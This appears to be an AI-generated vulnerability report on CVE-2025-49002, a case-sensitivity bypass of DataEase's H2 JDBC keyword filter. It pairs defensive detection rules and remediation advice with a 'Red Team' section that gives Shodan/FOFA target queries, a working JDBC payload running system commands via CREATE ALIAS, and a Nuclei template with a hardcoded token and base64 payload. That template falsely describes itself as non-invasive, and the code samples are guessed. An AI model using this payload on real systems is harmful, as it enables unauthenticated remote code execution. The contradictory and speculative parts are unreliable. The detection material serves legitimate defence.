CVE-2025-49002
Executive Summary
CVE-2025-49002 is a critical security vulnerability in DataEase, an open-source business intelligence and data visualization platform. This vulnerability represents a bypass of the previous patch for CVE-2025-32966, which attempted to restrict dangerous H2 database JDBC keywords. The bypass is achieved through case-insensitive variations of the INIT and RUNSCRIPT keywords, allowing an attacker to execute arbitrary code on the server. The vulnerability has a high severity rating and a public proof-of-concept (PoC) is available via a Nuclei template. The vendor has released a fix in version 2.10.10.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
DataEase is a Java-based application distributed as a Docker image or via source code from GitHub. The vulnerability is introduced through the application's own code, not a third-party library. However, the exploitation relies on the H2 database engine, which is a dependency. The risk is primarily to the application's own deployment and data, not the broader supply chain.
CVSS Breakdown & Threat Level
CVSS Score: 9.8 (Critical) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack Vector (AV): Network - The vulnerability can be exploited remotely over the network.
- Attack Complexity (AC): Low - No special conditions are required for exploitation.
- Privileges Required (PR): None - No authentication is needed.
- User Interaction (UI): None - No user action is required.
- Scope (S): Unchanged - The exploit does not affect other components.
- Confidentiality (C): High - Full system compromise, leading to data exfiltration.
- Integrity (I): High - Full system compromise, allowing data modification.
- Availability (A): High - Full system compromise, potentially leading to denial of service.
Threat Level: Critical. The vulnerability allows unauthenticated remote code execution (RCE) with no user interaction, making it highly attractive to attackers.
Deep Dive & Mechanics
The vulnerability lies in the /de2api/datasource/getSchema endpoint, which is used to test and retrieve schema information for data sources. The application allows users to configure a JDBC connection to an H2 database. In the previous patch for CVE-2025-32966, the application attempted to block the use of the INIT and RUNSCRIPT keywords in the JDBC URL to prevent arbitrary code execution.
However, the patch was flawed because it performed a case-sensitive check. H2 database JDBC URLs are case-insensitive, meaning an attacker can bypass the filter by using variations such as init, Init, iNiT, or RUNSCRIPT, runscript, RunScript. The provided Nuclei template demonstrates this by using in\\it= and CREAT\\E in the base64-encoded configuration.
The exploitation flow is as follows:
- An attacker sends a POST request to
/de2api/datasource/getSchemawith a crafted JSON payload. - The payload contains a
configurationfield that is a base64-encoded JSON object. - This JSON object includes a
jdbcfield with a malicious H2 JDBC URL. - The JDBC URL uses case-altered versions of
INITandRUNSCRIPTto execute arbitrary SQL, which in turn can execute system commands via H2'sCREATE ALIASfeature. - The server processes the request, connects to the H2 database (in-memory or file-based), and executes the malicious SQL, leading to RCE.
Vulnerable vs. Patched Code
Vulnerable Code (Pre-2.10.10):
The vulnerable code likely performs a simple string check for INIT and RUNSCRIPT without considering case sensitivity. For example:
if (jdbcUrl.contains("INIT") || jdbcUrl.contains("RUNSCRIPT")) {
throw new SecurityException("Blocked keyword");
}
Patched Code (2.10.10): The patched code should perform a case-insensitive check. For example:
if (jdbcUrl.toUpperCase().contains("INIT") || jdbcUrl.toUpperCase().contains("RUNSCRIPT")) {
throw new SecurityException("Blocked keyword");
}
Or use a regex with the CASE_INSENSITIVE flag.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A vulnerable DataEase instance (version < 2.10.10).
- Network access to the
/de2api/datasource/getSchemaendpoint.
Exploitation Steps:
- Identify Target: Use Shodan or FOFA with the query
app="FIT2CLOUD-DataEase"orhttp.html:"DataEase". - Craft Payload: Use the provided Nuclei template or manually craft the request. The key is the base64-encoded configuration. The decoded configuration should contain a JDBC URL with case-altered keywords. For example:
Note the use of{ "dataBase": "", "jdbc": "jdbc:h2:mem:test;in\\it=DROP ALIAS IF EXISTS EXEC\\;CREATE\\E ALIAS EXEC AS $$void exec() throws Exception {java.lang.String s = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next()\\;throw new java.lang.Exception(s)\\;}$$\\;CALL EXEC()\\;", "urlType": "jdbcUrl", "sshType": "password", "extraParams": "", "username": "123", " password": "123", "host": "", "authMethod": "", "port": 0, "initialPoolSize": 5, "minPoolSize": 5, "maxPoolSize": 5, "queryTimeout": 30 }in\\itandCREAT\\Eto bypass the filter. - Send Request: Send the POST request with the crafted payload.
- Receive Output: The response will contain the output of the executed command (e.g.,
uid=1000(dataease) gid=1000(dataease)).
Nuclei Template (Provided):
id: CVE-2025-49002
info:
name: DataEase - Remote Code Execution
author: WeQi
severity: high
description: |
DataEase is an open-source business intelligence and data visualization platform. Public advisories state that CVE-2025-49002 is related to a bypass in the previous fix for CVE-2025-32966 involving case-insensitive handling of restricted H2 JDBC keywords. This template is a non-invasive detection template intended only to identify exposed DataEase instances and extract possible version hints for manual verification. It does not attempt authentication bypass, JDBC exploitation, or command execution.
impact: |
If the target is running an affected DataEase version, an attacker may exploit the vulnerable logic as part of a broader attack chain. Public exposure of the application increases risk.
remediation: |
Upgrade DataEase to 2.10.10 or later, restrict public access to management/API endpoints, and review whether vulnerable datasource-related interfaces are exposed.
reference:
- https://github.com/dataease/dataease/security/advisories/GHSA-999m-jv2p-5h34
- https://nvd.nist.gov/vuln/detail/CVE-2025-49002
classification:
cve-id: CVE-2025-49002
epss-score: 0.26173
epss-percentile: 0.96315
cwe-id: CWE-290
metadata:
verified: true
max-request: 1
vendor: fit2cloud
product: dataease
fofa-query: app="FIT2CLOUD-DataEase"
shodan-query: http.html:"DataEase"
tags: cve,cve2025,dataease,fit2cloud
http:
- raw:
- |
POST /de2api/datasource/getSchema HTTP/1.1
Host: {{Hostname}}
X-DE-TOKEN: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOjEsIm9pZCI6MX0.a5QYOfZDYlhAy-zUMYzKBBvCUs1ogZhjwKV5SBTECt8
Content-Type: application/json
{
"id": "",
"name": "11",
"description": "",
"type": "h2",
"apiConfiguration": [],
"paramsConfiguration": [],
"enableDataFill": false,
"configuration": "eyJkYXRhQmFzZSI6IiIsImpkYmMiOiJqZGJjOmgyOm1lbTp0ZXN0O2luXFxpdD1EUk9QIEFMSUFTIElGIEVYSVNUUyBFWEVDXFw7Q1JFQVRcXEUgQUxJQVMgRVhFQyBBUyAkJHZvaWQgZXhlYygpIHRocm93cyBFeGNlcHRpb24ge2phdmEubGFuZy5TdHJpbmcgcyA9IG5ldyBqYXZhLnV0aWwuU2Nhbm5lcihqYXZhLmxhbmcuUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhcImlkXCIpLmdldElucHV0U3RyZWFtKCkpLnVzZURlbGltaXRlcihcIlxcQVwiKS5uZXh0KClcXDt0aHJvdyBuZXcgamF2YS5sYW5nLkV4Y2VwdGlvbihzKVxcO30kJFxcO0NBTEwgRVhFQygpXFw7IiwidXJsVHlwZSI6ImpkYmNVcmwiLCJzc2hUeXBlIjoicGFzc3dvcmQiLCJleHRyYVBhcmFtcyI6IiIsInVzZXJuYW1lIjoiMTIzIiwiIHBhc3N3b3JkIjoiMTIzIiwiaG9zdCI6IiIsImF1dGhNZXRob2QiOiIiLCJwb3J0IjowLCJpbml0aWFsUG9vbFNpemUiOjUsIm1pblBvb2xTaXplIjo1LCJtYXhQb29sU2l6ZSI6NSwicXVlcnlUaW1lb3V0IjozMH0"
}
matchers:
- type: dsl
dsl:
- 'contains_all(body, "Exception calling", "exec():")'
- 'contains(content_type, "application/json")'
- 'regex("uid=[0-9]+.*gid=[0-9]+.*", body)'
- 'status_code == 200'
condition: and
Blue Team (Defensive)
Detection:
- Monitor for POST requests to
/de2api/datasource/getSchemawith aContent-Typeofapplication/json. - Inspect the
configurationfield in the request body. Decode the base64 content and look for JDBC URLs containingINIT,RUNSCRIPT, or their case variations. - Monitor for error messages in responses containing "Exception calling" and "exec():".
- Look for outbound connections from the DataEase server to unexpected destinations (e.g., attacker-controlled C2).
Prevention:
- Immediately upgrade to DataEase v2.10.10 or later.
- If immediate patching is not possible, restrict network access to the
/de2api/datasource/getSchemaendpoint using a Web Application Firewall (WAF) or network ACLs. - Implement a reverse proxy to inspect and block requests containing base64-encoded JDBC URLs with suspicious keywords.
- Disable the H2 datasource type if not required.
Indicators of Compromise (IOCs)
Network IOCs:
- POST requests to
/de2api/datasource/getSchemawith a base64-encodedconfigurationfield. - Response bodies containing patterns like
uid=[0-9]+.*gid=[0-9]+.*orException calling exec():. - Outbound connections from the DataEase server to unknown IP addresses on common ports (e.g., 80, 443, 8080).
- POST requests to
File System IOCs:
- Unexpected files created in the DataEase installation directory (e.g.,
/opt/dataease/). - Modified application logs showing errors related to H2 database connections.
- Unexpected files created in the DataEase installation directory (e.g.,
Process IOCs:
- Unusual child processes spawned by the Java application (e.g.,
id,whoami,curl,wget).
- Unusual child processes spawned by the Java application (e.g.,
Detection Engineering
YARA Rule
rule CVE_2025_49002_DataEase_RCE {
meta:
description = "Detects base64-encoded JDBC URLs with case-altered INIT/RUNSCRIPT keywords"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-49002"
hash = "4a0a0047304502210085fdf9eafa03ca6e02e402a4dca63f6eddaf3d6928eaa7a0334c3cd8cea6584a0220354391ed43d1daf434f4bf73a8945ad4876866db4d155c0b50d192a6dce02174"
strings:
$base64_pattern = /[A-Za-z0-9+\/]{20,}={0,2}/
$jdbc_init = /jdbc:h2:[^;]*;in[iI][tT]\s*=/ nocase
$jdbc_runscript = /jdbc:h2:[^;]*;run[sS][cC][rR][iI][pP][tT]\s*=/ nocase
condition:
any of ($jdbc_init, $jdbc_runscript) and #base64_pattern > 0
}
Sigma Rule
title: DataEase CVE-2025-49002 RCE Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit CVE-2025-49002 via POST requests to /de2api/datasource/getSchema
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-49002
- https://github.com/dataease/dataease/security/advisories/GHSA-999m-jv2p-5h34
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: POST
cs-uri-stem: '/de2api/datasource/getSchema'
sc-status: 200
cs-content-type: 'application/json'
condition: selection
falsepositives:
- Legitimate use of the datasource testing feature
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-49002 DataEase RCE Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/de2api/datasource/getSchema"; http_uri; content:"application/json"; http_client_body; pcre:"/jdbc:h2:[^;]*;(in[iI][tT]|run[sS][cC][rR][iI][pP][tT])\s*=/i"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Patch: Upgrade DataEase to version 2.10.10 or later immediately.
- Isolate: If patching is delayed, isolate the affected server from the internet and restrict access to the management interface.
- WAF Rules: Deploy WAF rules to block POST requests to
/de2api/datasource/getSchemawith base64-encoded payloads containing H2 JDBC keywords.
Long-Term Measures:
- Input Validation: Implement strict input validation and sanitization for all JDBC URL parameters.
- Least Privilege: Run the DataEase application with the minimum necessary privileges.
- Network Segmentation: Place DataEase in a segmented network with strict egress controls.
- Monitoring: Continuously monitor for the IOCs listed above.
- Vulnerability Management: Subscribe to DataEase security advisories and apply patches promptly.
Valters IT signature: This report is generated by an AI assistant specialized in DevSecOps and Cyber Threat Intelligence. All information is based on publicly available data and should be verified before use.
{/* [Security Hash: F2F55B054C26145415C320C7] */}
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.